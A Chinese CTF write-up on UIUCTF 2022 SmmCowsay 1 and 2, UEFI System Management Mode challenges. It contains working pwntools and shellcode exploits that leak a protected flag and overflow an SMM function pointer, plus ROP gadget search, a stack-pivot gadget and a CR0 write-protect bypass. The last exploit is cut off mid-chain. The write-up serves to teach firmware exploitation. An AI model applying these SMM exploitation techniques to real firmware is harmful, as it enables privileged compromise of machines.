1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 +EFI_STATUS +EFIAPI +SmmCowsayHandler ( + IN EFI_HANDLE DispatchHandle, + IN CONST VOID *Context OPTIONAL, + IN OUT VOID *CommBuffer OPTIONAL, + IN OUT UINTN *CommBufferSize OPTIONAL + ) +{ + DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Enter\n")); + + if (!CommBuffer || !CommBufferSize || *CommBufferSize < sizeof(CHAR16 *)) + return EFI_SUCCESS; + + Cowsay(*(CONST CHAR16 **)CommBuffer); + + DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n")); + + return EFI_SUCCESS; +}
之前已经注册了的 smi 的处理函数,CommBuffer 即对应着我们传入的 Message 的 data。可以看到这里 CommBuffer 并没有做任何检测就给 Cowsay 函数给调用,而 Cowsay 函数就类似于一个后门打印出 *CommBuffer 所指向的内存空间的内容,所以我们不难想到如果我们能够控制 传入的 CommBuffer 并控制 *CommBuffer 为 flag 的地址,程序就能直接打印出 flag。那现在的问题是我们要控制 CommBuffer 呢,更重要的是我们要如何调用 SmmCowsayHandler。通过前面的分析我们知道调用 SmmCowsayHandler 等于我们要调用:
1 2 3 4 5 mSmmCommunication->Communicate ( mSmmCommunication, Buffer, NULL );
首先找到 mSmmCommunication
1 2 3 4 5 Status = gBS->LocateProtocol ( &gEfiSmmCommunicationProtocolGuid, NULL , (VOID **)&mSmmCommunication );
然后找 gpt 帮忙解释了一下:)
1 2 3 4 5 6 7 8 9 10 11 这段代码是用来查找并获取一个协议的接口指针。具体来说,这段代码的功能如下: gBS 是指向Boot Services的指针,它提供了UEFI启动服务中的一系列函数。 LocateProtocol 是Boot Services中的一个函数,用于在系统中查找指定的协议。 下面是对LocateProtocol函数参数的详细解释: &gEfiSmmCommunicationProtocolGuid:这是一个指向协议GUID(全局唯一标识符)的指针。gEfiSmmCommunicationProtocolGuid是这个协议的唯一标识符,它用于指定要查找的协议类型。在这里,它指的是EFI SMM通信协议,这个协议用于在系统管理模式(SMM)和正常执行模式之间传递消息。 NULL:这个参数是协议接口的父句柄。在许多情况下,如果不需要特定的父句柄,可以传递NULL。 (VOID **)&mSmmCommunication:这是一个输出参数,指向一个指针的地址,该指针在函数成功执行后将被设置为指向找到的协议接口。在这个例子中,如果LocateProtocol成功找到EFI SMM通信协议,mSmmCommunication将包含指向该协议实例的指针。 综上所述,这段代码的作用是:在UEFI环境中查找EFI SMM通信协议的实例,并将该协议的接口指针存储在mSmmCommunication变量中,以便后续代码可以使用这个协议进行系统管理模式的通信。如果协议被成功找到,函数返回状态码EFI_SUCCESS;如果找不到,则返回一个错误码。
调用成功后第三个参数会变成一个协议的接口,随后我们就可以通过这个接口去调用 Communicate。所以我们目标又变成了调用 LocateProtocol。而 LocateProtocol 是 UEFI 的系统服务,是 BootServices 结构体的一个成员函数。所以调用链也很清晰了 EFI_SYSTEM_TABLE->BootServices->LocateProtocol。理论可行,干了 xdm
这里有个问题是如何找 gEfiSmmCommunicationProtocolGuid,我们可以直接将 Binexec.efi 直接拖进 ida 里面看他是怎么调用 LocateProtocol 的,然后直接找到 gEfiSmmCommunicationProtocolGuid。
找这玩意其实也有点技巧,我们不难看出 qword_103128 对应的是 bootService,因为这里是 +320,一看就是 LocateProtocol 的偏移。 获取到 mSmmCommunication后,就能顺藤摸瓜的获取到 Communicate 函数。
这里需要特别注意函数的传参方式,不是我们平时的 rdi、rsi、rdx、rcx、r8、r9……
而是 rcx、rdx、r8、r9,剩余参数布置在栈中
有 Communicate 了我们只需要构造一个 buffer 按道理来说就可以输出 0x44440000 地址的 flag 了。buffer 中的 headerGuid 我们可以和上面一样的方法把 SmmCowsay.efi 丢进 ida 里面查找。
最后写出来的 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *from Crypto.Util.number import *p = process('./run.sh' ) context(arch='amd64' , os='linux' ) def lg (buf ): log.success(f'\033[33m{buf} :{eval (buf):#x} \033[0m' ) p.recvuntil(b'Address of SystemTable: 0x' ) systemTable = int (p.recv(16 ), 16 ) p.recvuntil(b'0x' ) codeAddr = int (p.recv(16 ), 16 ) lg("systemTable" ) lg("codeAddr" ) code = asm(f""" mov rax, {systemTable} mov rax, qword ptr [rax + 96] mov rbx, qword ptr [rax + 320] """ )code = code.hex ().encode() + b'\ndone' p.sendline(code) p.recvuntil(b'RAX: 0x' ) BootServices = int (p.recv(16 ), 16 ) p.recvuntil(b'RBX: 0x' ) LocateProtocol = int (p.recv(16 ), 16 ) lg("BootServices" ) lg("LocateProtocol" ) gEfiSmmCommunicationProtocolGuid = 0x32c3c5ac65db949d4cbd9dc6c68ed8e2 code = asm(f""" /* LocateProtocol(gEfiSmmCommunicationProtocolGuid, NULL, &protocol) */ lea rcx, qword ptr [rip + guid] xor rdx, rdx lea r8, qword ptr [rip + protocol] mov rax, {LocateProtocol} call rax test rax, rax jnz fail mov rax, qword ptr [rip + protocol] /* mSmmCommunication */ mov rbx, qword ptr [rax] /* mSmmCommunication->Communicate */ ret fail: ud2 guid: .octa {gEfiSmmCommunicationProtocolGuid} protocol: """ )p.recvuntil(b'code:' ) code = code.hex ().encode() + b'\ndone' p.sendline(code) p.recvuntil(b'RAX: 0x' ) mSmmCommunication = int (p.recv(16 ), 16 ) p.recvuntil(b'RBX: 0x' ) Communicate = int (p.recv(16 ), 16 ) lg("mSmmCommunication" ) lg("Communicate" ) gEfiSmmCowsayCommunicationGuid = 0xf79265547535a8b54d102c839a75cf12 code = asm(f""" /* Communicate(mSmmCommunication, &buffer, NULL) */ mov rcx, {mSmmCommunication} lea rdx, qword ptr [rip + buffer] xor r8, r8 mov rax, {Communicate} call rax test rax, rax jnz fail ret fail: ud2 buffer: .octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */ .quad 8 /* Buffer->MessageLength */ .quad 0x44440000 /* Buffer->Data */ """ )p.recvuntil(b'code:' ) code = code.hex ().encode() + b'\ndone' p.sendline(code) p.interactive()
可是一运行会发生报错:
由于是在执行完最后一段 shellcode 后才出现的报错,我们不难判断问题出现在 Communicate 函数的调用,通过 rax 我们可以发现其报错代码为 0xf EFI_ACCESS_DENIED,访问拒绝。
查看源码中对这个报错代码的解释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 EFI_STATUS EFIAPI SmmCommunicationCommunicate ( IN CONST EFI_SMM_COMMUNICATION_PROTOCOL *This, IN OUT VOID *CommBuffer, IN OUT UINTN *CommSize OPTIONAL ) ;
CommunicateBuffer 位于 SMM 环境无法访问的地址范围内。这个时候我们联想到我们上一面讲过的一个缓冲区检查的函数 SmmIsBufferOutsideSmmValid,因为我们的 Buffer 位于我们输入 shellcode 的那个地址空间,必然不符合要求。那原来的程序的 Buffer 是在什么地方或者说是怎么申请的呢?我们继续看题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 + EFI_SMM_COMMUNICATE_HEADER *Buffer; + + Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) + sizeof(CHAR16 *)); + if (!Buffer) + return; + + Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid; + Buffer->MessageLength = sizeof(CHAR16 *); + *(CONST CHAR16 **)&Buffer->Data = Message; + + mSmmCommunication->Communicate( + mSmmCommunication, + Buffer, + NULL + );
可以发现 Buffer 是通过 AllocateRuntimeZeroPool 函数申请出来的,我们继续看这个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 VOID * EFIAPI AllocateRuntimeZeroPool ( IN UINTN AllocationSize ) { return InternalAllocateZeroPool (EfiRuntimeServicesData, AllocationSize); }
然后找 gpt 老师问了一下这个函数在干什么:
1 return InternalAllocateZeroPool (EfiRuntimeServicesData, AllocationSize);: 这行代码调用了 InternalAllocateZeroPool 函数,并将返回值直接返回给调用者。InternalAllocateZeroPool 是一个内部函数,它负责实际分配内存。第一个参数 EfiRuntimeServicesData 是一个枚举值,指定了内存应该从UEFI运行时服务的数据区域分配。第二个参数 AllocationSize 是前面提到的要分配的内存大小。
也就是说 Buffer 应该是一个 EfiRuntimeServicesData 类型的地址空间。
从官方文档可以知道该枚举值为 6。接下来我们就很清楚了,申请一块 EfiRuntimeServicesData 类型的地址空间并写上我们伪造的 Buffer,其他操作和前面一直即可。可是我们没法用已有的东西直接调用 AllocateRuntimeZeroPool,但是我们可以用类似的函数替代,BootServices->AllocatePool() 和 BootServices->AllocatePages()都行。只要分配的类型是 EfiRuntimeServicesData 就行。此处使用BootServices->AllocatePool() 进行分配。
exp 最终 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 from pwn import *from Crypto.Util.number import *p = process('./run.sh' ) context(arch='amd64' , os='linux' ) def lg (buf ): log.success(f'\033[33m{buf} :{eval (buf):#x} \033[0m' ) p.recvuntil(b'Address of SystemTable: 0x' ) systemTable = int (p.recv(16 ), 16 ) p.recvuntil(b'0x' ) codeAddr = int (p.recv(16 ), 16 ) lg("systemTable" ) lg("codeAddr" ) code = asm(f""" mov rax, {systemTable} mov rax, qword ptr [rax + 96] mov rbx, qword ptr [rax + 320] mov rcx, qword ptr [rax + 64] """ )code = code.hex ().encode() + b'\ndone' p.sendline(code) p.recvuntil(b'RAX: 0x' ) BootServices = int (p.recv(16 ), 16 ) p.recvuntil(b'RBX: 0x' ) LocateProtocol = int (p.recv(16 ), 16 ) p.recvuntil(b'RCX: 0x' ) AllocatePool = int (p.recv(16 ), 16 ) lg("BootServices" ) lg("LocateProtocol" ) lg("AllocatePool" ) gEfiSmmCommunicationProtocolGuid = 0x32c3c5ac65db949d4cbd9dc6c68ed8e2 code = asm(f""" /* LocateProtocol(gEfiSmmCommunicationProtocolGuid, NULL, &protocol) */ lea rcx, qword ptr [rip + guid] xor rdx, rdx lea r8, qword ptr [rip + protocol] mov rax, {LocateProtocol} call rax test rax, rax jnz fail mov rax, qword ptr [rip + protocol] /* mSmmCommunication */ mov rbx, qword ptr [rax] /* mSmmCommunication->Communicate */ ret fail: ud2 guid: .octa {gEfiSmmCommunicationProtocolGuid} protocol: """ )p.recvuntil(b'code:' ) code = code.hex ().encode() + b'\ndone' p.sendline(code) p.recvuntil(b'RAX: 0x' ) mSmmCommunication = int (p.recv(16 ), 16 ) p.recvuntil(b'RBX: 0x' ) Communicate = int (p.recv(16 ), 16 ) lg("mSmmCommunication" ) lg("Communicate" ) EfiRuntimeServicesData = 6 code = asm(f""" /* AllocatePool(EfiRuntimeServicesData, 0x1000, &buffer) */ mov rcx, {EfiRuntimeServicesData} mov rdx, 0x1000 lea r8, qword ptr [rip + buffer] mov rax, {AllocatePool} call rax test rax, rax jnz fail mov rax, qword ptr [rip + buffer] ret fail: ud2 buffer: """ )p.recvuntil(b'code:' ) code = code.hex ().encode() + b'\ndone' p.sendline(code) p.recvuntil(b'RAX: 0x' ) buffer = int (p.recv(16 ), 16 ) lg("buffer" ) gEfiSmmCowsayCommunicationGuid = 0xf79265547535a8b54d102c839a75cf12 code = asm(f""" /* Copy data into allocated buffer */ lea rsi, qword ptr [rip + data] mov rdi, {buffer} mov rcx, 0x20 cld rep movsb /* Communicate(mSmmCommunication, buffer, NULL) */ mov rcx, {mSmmCommunication} mov rdx, {buffer} xor r8, r8 mov rax, {Communicate} call rax test rax, rax jnz fail ret fail: ud2 data: .octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */ .quad 8 /* Buffer->MessageLength */ .quad 0x44440000 /* Buffer->Data */ """ )p.recvuntil(b'code:' ) code = code.hex ().encode() + b'\ndone' p.sendline(code) p.interactive()
最终效果:
可能有人会问为什么这个 flag 的偶数位不见了,这是因为 flag 存储是 UTF-16,所以它取数据是一次跳 2 byte 取的。只需要地址加 1 即可获得所有 flag。
UIUCTF 2022 SmmCowsay2 题目分析 题目描述:
We asked that engineer to fix the issue, but I think he may have left a backdoor disguised as debugging code.
这一题和上一题的文件结构一模一样,运气起来的效果也一样,唯一不同的就是 patch 文件不一样。由于上一题已经对文件进行了详细的分析,所以这里重点关注漏洞的部分。 首先看 0005-PiSmmCpuDxeSmm-Protect-flag-addresses.patch 文件:
1 2 3 4 5 6 + // Flag must not be seen + SmmSetMemoryAttributes ( + 0x44440000, + EFI_PAGES_TO_SIZE(1), + EFI_MEMORY_RP + );
这段代码用 gpt 的话来说,其作用是:
SmmSetMemoryAttributes 是一个函数调用,它的作用是设置指定内存范围的属性。
第一个参数 0x44440000 是要设置属性的内存的起始地址。
第二个参数 EFI_PAGES_TO_SIZE(1) 是一个宏,用于将页面数转换为字节数。在这里,它表示只设置一个页面(通常情况下,一个内存页面是4KB大小,除非特别指定了不同的页面大小)。
第三个参数 EFI_MEMORY_RP 是要设置的内存属性。
然后我看了一下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #define EFI_MEMORY_UC ((u64)0x0000000000000001ULL) #define EFI_MEMORY_WC ((u64)0x0000000000000002ULL) #define EFI_MEMORY_WT ((u64)0x0000000000000004ULL) #define EFI_MEMORY_WB ((u64)0x0000000000000008ULL) #define EFI_MEMORY_UCE ((u64)0x0000000000000010ULL) #define EFI_MEMORY_WP ((u64)0x0000000000001000ULL) #define EFI_MEMORY_RP ((u64)0x0000000000002000ULL) #define EFI_MEMORY_XP ((u64)0x0000000000004000ULL) #define EFI_MEMORY_NV ((u64)0x0000000000008000ULL) #define EFI_MEMORY_MORE_RELIABLE \ ((u64)0x0000000000010000ULL) #define EFI_MEMORY_RO ((u64)0x0000000000020000ULL) #define EFI_MEMORY_SP ((u64)0x0000000000040000ULL) #define EFI_MEMORY_RUNTIME ((u64)0x8000000000000000ULL) #define EFI_MEM_DESC_VERSION 1 #define EFI_PAGE_SHIFT 12 #define EFI_PAGE_SIZE (1ULL << EFI_PAGE_SHIFT) #define EFI_PAGE_MASK (EFI_PAGE_SIZE - 1)
可以看到这段代码实际上就是给 0x44440000 这块内存设置了读保护,也就是说如果我们直接对这段内存进行读操作系统就会报错。
Binexec 的代码页也没有什么变化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 +VOID +Cowsay ( + IN CONST CHAR16 *Message + ) +{ + EFI_SMM_COMMUNICATE_HEADER *Buffer; + UINTN MessageLen = StrLen(Message) * sizeof(CHAR16); + + Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) + MessageLen); + if (!Buffer) + return; + + Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid; + Buffer->MessageLength = MessageLen; + CopyMem(Buffer->Data, Message, MessageLen); + + mSmmCommunication->Communicate( + mSmmCommunication, + Buffer, + NULL + ); + + FreePool(Buffer); +}
变化较大的是 SmmCowsay 的 patch 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 +EFI_STATUS +EFIAPI +SmmCowsayHandler ( + IN EFI_HANDLE DispatchHandle, + IN CONST VOID *Context OPTIONAL, + IN OUT VOID *CommBuffer OPTIONAL, + IN OUT UINTN *CommBufferSize OPTIONAL + ) +{ + EFI_STATUS Status; + UINTN TempCommBufferSize; + UINT64 Canary; + + DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Enter\n")); + + if (!CommBuffer || !CommBufferSize) + return EFI_SUCCESS; + + TempCommBufferSize = *CommBufferSize; + + if (!AsmRdRand64(&Canary)) + return EFI_SUCCESS; + mDebugData.Canary = Canary; + + Status = SmmCopyMemToSmram(mDebugData.Message, CommBuffer, TempCommBufferSize); + if (EFI_ERROR(Status)) + goto out; + + if (mDebugData.Canary != Canary) { + // We probably overrun into libraries. Don't trust anything. Make triple fault here. + while (TRUE) { + __asm__ __volatile__ ( + "push $0\n" + "push $0\n" + "lidt (%%rsp)\n" + "add $16,%%rsp\n" + "ud2\n" + : : : "memory" + ); + } + } + + if (mDebugData.Icebp) { + // If you define WANT_ICEBP in QEMU you actually get a breakpoint right here. + // Have fun playing with SMM. + __asm__ __volatile__ ( + ".byte 0xf1" // icebp / int1 + : : : "memory" + ); + } + + SetMem(mDebugData.Message, sizeof(mDebugData.Message), 0); + + mDebugData.CowsayFunc(CommBuffer, TempCommBufferSize); + +out: + DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n")); + + return EFI_SUCCESS; +}
可以看到他是利用 SmmCopyMemToSmram 函数将用户输入的内容 CommBuffer 拷贝进 mDebugData.Message 中,拷贝的长度是 TempCommBufferSize。然后经过一系列检测发现没有问题后就调用函数指针 mDebugData.CowsayFunc。 说到这里,漏洞就非常的明显了,因为 TempCommBufferSize 的长度是用户自定义的,所以我们可以很容易的构造出溢出。接下来看一下 mDebugData 的结构:
1 2 3 4 5 6 7 +struct { + CHAR16 Message[200]; + VOID EFIAPI (* volatile CowsayFunc)(IN CONST CHAR16 *Message, IN UINTN MessageLen); + BOOLEAN volatile Icebp; + UINT64 volatile Canary; +} mDebugData; +
该结构体虽然自己实现了一个 Canary 用来检测是否发生溢出,可是他并不能保护到他上面的函数指针,也就是说我们能够通过溢出来劫持这一个函数指针。
在进入到下一步之前,我们需要解决两个问题:1、如何找 gadget 2、如何进行调试 对于定一个问题,我们可以在 qemu 的启动脚本中加入下面这行:
1 -global isa-debugcon.iobase=0x402 -debugcon file:./debug.log
启动 qemu 后他就能将调试信息保存到当前目录下的 debug.log 文件中,然后我们就能够在这个文件中找到各个可执行文件的入口地址:
1 2 3 4 5 6 7 8 9 or4nge@localhost:/mnt/d/desktop/cow/run$ cat debug.log | grep 'SMM driver' Loading SMM driver at 0x00007FE3000 EntryPoint=0x00007FE526B CpuIo2Smm.efi Loading SMM driver at 0x00007FD9000 EntryPoint=0x00007FDC6E4 SmmLockBox.efi Loading SMM driver at 0x00007FBF000 EntryPoint=0x00007FCC246 PiSmmCpuDxeSmm.efi Loading SMM driver at 0x00007F99000 EntryPoint=0x00007F9C851 FvbServicesSmm.efi Loading SMM driver at 0x00007F83000 EntryPoint=0x00007F8BAD0 VariableSmm.efi Loading SMM driver at 0x00007EE7000 EntryPoint=0x00007EE9D0F SmmCowsay.efi Loading SMM driver at 0x00007EDF000 EntryPoint=0x00007EE2684 CpuHotplugSmm.efi Loading SMM driver at 0x00007EDD000 EntryPoint=0x00007EE2A1E SmmFaultTolerantWriteDxe.efi
由于没有开启 ASLR,所以每次运行这个地址是不会变的,然后我们就可以使用类似于下面这中方法在各个 efi 文件中寻找 gadget
1 2 3 ROPgadget --binary CpuIo2Smm.efi --offset 0x00007FE3000 ROPgadget --binary SmmLockBox.efi --offset 0x00007FD9000
接下来是如何调试,其实调试方法和平时调试内核一样,而且各个 efi 的基地址也能通过上面的方法获得,不过这里我阅读了 Marco Bonelli 的 wp 后发现可以舒服很多。 这道题目已经给出了每一个 efi 的符号表,所以 Marco Bonelli 写了个 python 脚本在启动 gdb 时能够直接将符号导入,其脚本 gdb_plugin.py 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import gdbimport osclass AddAllSymbols (gdb.Command): def __init__ (self): super (AddAllSymbols, self).__init__ ('add-all-symbols' , gdb.COMMAND_OBSCURE, gdb.COMPLETE_NONE, True ) def invoke (self, args, from_tty ): print ('Adding symbols for all EFI drivers...' ) with open ('debug.log' , 'r' ) as f: for line in f: if line.startswith('Loading SMM driver at' ): line = line.split() base = line[4 ] elif line.startswith('Loading driver at' ) or line.startswith('Loading PEIM at' ): line = line.split() base = line[3 ] else : continue path = '../edk2_artifacts/' + line[-1 ].replace('.efi' , '.debug' ) if os.path.isfile(path): gdb.execute('add-symbol-file ' + path + ' -readnow -o ' + base) AddAllSymbols()
script.gdb:
1 2 3 4 5 6 7 target remote :1234 source gdb_plugin.pyadd-all-symbols b *(SmmCowsayHandler + 770) c
会到漏洞利用,能够劫持后我们的问题就转换到要如何获取 flag。前面我们说过 flag 对应的物理页被设置成不可读,所以我们要修改 cr0 寄存器来让他可读。我们可以看一下此时 cr0 寄存器的值:
1 2 pwndbg> i r cr0 cr0 0x80010033 [ PG WP NE ET MP PE ]
下面来自 eastxuelian 师傅的解释:
在当前的 CR0 设置中,开启的保护包括:
分页机制 (PG),允许虚拟内存管理。 写保护 (WP),保护内存页面免于非法写入,增强安全性。 保护模式 (PE),提供内存段保护和权限分级。 在 x86 架构中,CR0 寄存器的 WP 位直接控制写保护(WriteProtect),而读保护(ReadProtect)通常不是由 CR0 直接控制。
读取访问的保护通常是通过页表中的权限位来控制的,这些位定义哪些进程可以读取特定的内存页。例如,页表中的某些位可以设置成允许或禁止用户模式的代码读取特定的内存页面。
写保护可以直接把 cr0 的第 16 位设置为 0 来绕过,接下来就可以随意篡改页表项或者代码段了,前者可以完成后续利用而后者可以往代码段写入 shellcode(NX 保护与 EFER 寄存器、页表项有关)
我们可以通过 rop 来实现这个操作,可是我们的操作非常的有限,因为只有一次任意地址 call,这个时候我们就需要想办法栈迁移。这里我选择使用一个比较简单的栈迁移方式,在 UEFI 中存在一个类似于 kernel 的 pt_regs 结构。 我们可以写个简单的 shellcode 来验证一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 payload = b'a' * 400 + p64(0xdeadbeafdeadbeaf ) code = asm(f''' /* Copy data into allocated buffer */ lea rsi, qword ptr [rip + data] mov rdi, {buffer} mov rcx, {0x18 + len (payload)} cld rep movsb /* Communicate(mSmmCommunication, buffer, NULL) */ mov rcx, {mSmmCommunication} mov rdx, {buffer} xor r8, r8 mov rax, {Communicate} mov rdi, 0x1111111111111111 mov rsi, 0x2222222222222222 mov rdi, 0x3333333333333333 mov rbp, 0x4444444444444444 mov r9 , 0x5555555555555555 mov r10, 0x6666666666666666 mov r11, 0x7777777777777777 mov r12, 0x8888888888888888 mov r13, 0x9999999999999999 mov r14, 0xaaaaaaaaaaaaaaaa mov r15, 0xbbbbbbbbbbbbbbbb call rax test rax, rax jnz fail ret fail: ud2 data: .octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */ .quad {len (payload)} /* Buffer->MessageLength */ /* payload will be appended here to serve as Buffer->Data */ ''' )p.recvuntil(b'code:' ) code = code.hex ().encode() + payload.hex ().encode() + b'\ndone' p.sendline(code)
可以看到 r13、r14、r15 的值给保存到栈上
我们再来看一下调用完函数指针后程序会如何执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pwndbg> x/30i 0x7ee8fc3+0x302 => 0x7ee92c5 <SmmCowsayHandler+770>: call rax 0x7ee92c7 <SmmCowsayHandler+772>: test bl,bl 0x7ee92c9 <SmmCowsayHandler+774>: je 0x7ee92f7 <SmmCowsayHandler+820> 0x7ee92cb <SmmCowsayHandler+776>: lea rdx,[rip+0x1bbb] 0x7ee92d2 <SmmCowsayHandler+783>: mov ecx,0x40 0x7ee92d7 <SmmCowsayHandler+788>: call 0x7ee8f5e <DebugPrint> 0x7ee92dc <SmmCowsayHandler+793>: jmp 0x7ee92f7 <SmmCowsayHandler+820> 0x7ee92de <SmmCowsayHandler+795>: mov r9,r13 0x7ee92e1 <SmmCowsayHandler+798>: mov r8,r12 0x7ee92e4 <SmmCowsayHandler+801>: mov ecx,0x80000000 0x7ee92e9 <SmmCowsayHandler+806>: lea rdx,[rip+0x1bbe] 0x7ee92f0 <SmmCowsayHandler+813>: call 0x7ee8f5e <DebugPrint> 0x7ee92f5 <SmmCowsayHandler+818>: jmp 0x7ee92c7 <SmmCowsayHandler+772> 0x7ee92f7 <SmmCowsayHandler+820>: add rsp,0x40 0x7ee92fb <SmmCowsayHandler+824>: xor eax,eax 0x7ee92fd <SmmCowsayHandler+826>: pop rbx 0x7ee92fe <SmmCowsayHandler+827>: pop rsi 0x7ee92ff <SmmCowsayHandler+828>: pop rdi 0x7ee9300 <SmmCowsayHandler+829>: pop r12 0x7ee9302 <SmmCowsayHandler+831>: pop r13 0x7ee9304 <SmmCowsayHandler+833>: ret
可以看到在最后面的 pop 的时候 r14、r15 寄存器的值被保留,所以我们可以寻找类似于 add rsp、ret * 这样子的 gadget 覆盖函数指针,然后在 r14、r15 寄存器中放置 gadget 将 rsp 栈迁移到我们的 rop 中。
除了这种方法,其实 EDK2 中还存在一些非常好用的 gadget :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 mov rbx, [rcx] mov rsp, [rcx + 8] mov rbp, [rcx + 0x10] mov rdi, [rcx + 0x18] mov rsi, [rcx + 0x20] mov r12, [rcx + 0x28] mov r13, [rcx + 0x30] mov r14, [rcx + 0x38] mov r15, [rcx + 0x40] ; load non-volatile fp registers ldmxcsr [rcx + 0x50] movdqu xmm6, [rcx + 0x58] movdqu xmm7, [rcx + 0x68] movdqu xmm8, [rcx + 0x78] movdqu xmm9, [rcx + 0x88] movdqu xmm10, [rcx + 0x98] movdqu xmm11, [rcx + 0xA8] movdqu xmm12, [rcx + 0xB8] movdqu xmm13, [rcx + 0xC8] movdqu xmm14, [rcx + 0xD8] movdqu xmm15, [rcx + 0xE8] mov rax, rdx ; set return value jmp qword [rcx + 0x48]
它可以用第一个参数指向的内存上的信息设置好 rsp 与其它寄存器,再跳转到目标地址上,简直是栈迁移的梦中情 gadget(笑
exp 最终 exp 如下,rop 用的是 Marco Bonelli 师傅的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 from pwn import *from Crypto.Util.number import *p = process('./run.sh' ) context(arch='amd64' , os='linux' ) def lg (buf ): log.success(f'\033[33m{buf} :{eval (buf):#x} \033[0m' ) p.recvuntil(b'Address of SystemTable: 0x' ) systemTable = int (p.recv(16 ), 16 ) p.recvuntil(b'0x' ) codeAddr = int (p.recv(16 ), 16 ) lg("systemTable" ) lg("codeAddr" ) code = asm(f""" mov rax, {systemTable} mov rax, qword ptr [rax + 96] mov rbx, qword ptr [rax + 320] mov rcx, qword ptr [rax + 64] """ )code = code.hex ().encode() + b'\ndone' p.sendline(code) p.recvuntil(b'RAX: 0x' ) BootServices = int (p.recv(16 ), 16 ) p.recvuntil(b'RBX: 0x' ) LocateProtocol = int (p.recv(16 ), 16 ) p.recvuntil(b'RCX: 0x' ) AllocatePool = int (p.recv(16 ), 16 ) lg("BootServices" ) lg("LocateProtocol" ) lg("AllocatePool" ) gEfiSmmCommunicationProtocolGuid = 0x32c3c5ac65db949d4cbd9dc6c68ed8e2 code = asm(f""" /* LocateProtocol(gEfiSmmCommunicationProtocolGuid, NULL, &protocol) */ lea rcx, qword ptr [rip + guid] xor rdx, rdx lea r8, qword ptr [rip + protocol] mov rax, {LocateProtocol} call rax test rax, rax jnz fail mov rax, qword ptr [rip + protocol] /* mSmmCommunication */ mov rbx, qword ptr [rax] /* mSmmCommunication->Communicate */ ret fail: ud2 guid: .octa {gEfiSmmCommunicationProtocolGuid} protocol: """ )p.recvuntil(b'code:' ) code = code.hex ().encode() + b'\ndone' p.sendline(code) p.recvuntil(b'RAX: 0x' ) mSmmCommunication = int (p.recv(16 ), 16 ) p.recvuntil(b'RBX: 0x' ) Communicate = int (p.recv(16 ), 16 ) lg("mSmmCommunication" ) lg("Communicate" ) EfiRuntimeServicesData = 6 code = asm(f""" /* AllocatePool(EfiRuntimeServicesData, 0x1000, &buffer) */ mov rcx, {EfiRuntimeServicesData} mov rdx, 0x1000 lea r8, qword ptr [rip + buffer] mov rax, {AllocatePool} call rax test rax, rax jnz fail mov rax, qword ptr [rip + buffer] ret fail: ud2 buffer: """ )p.recvuntil(b'code:' ) code = code.hex ().encode() + b'\ndone' p.sendline(code) p.recvuntil(b'RAX: 0x' ) buffer = int (p.recv(16 ), 16 ) lg("buffer" ) gEfiSmmCowsayCommunicationGuid = 0xf79265547535a8b54d102c839a75cf12 ret_0x70 = 0x7F83000 + 0x8a49 payload = b'a' * 400 + p64(ret_0x70) real_chain = [ 0x7f8a184 , 0x80000033 , 0x7fcf70d , 0x7f8a184 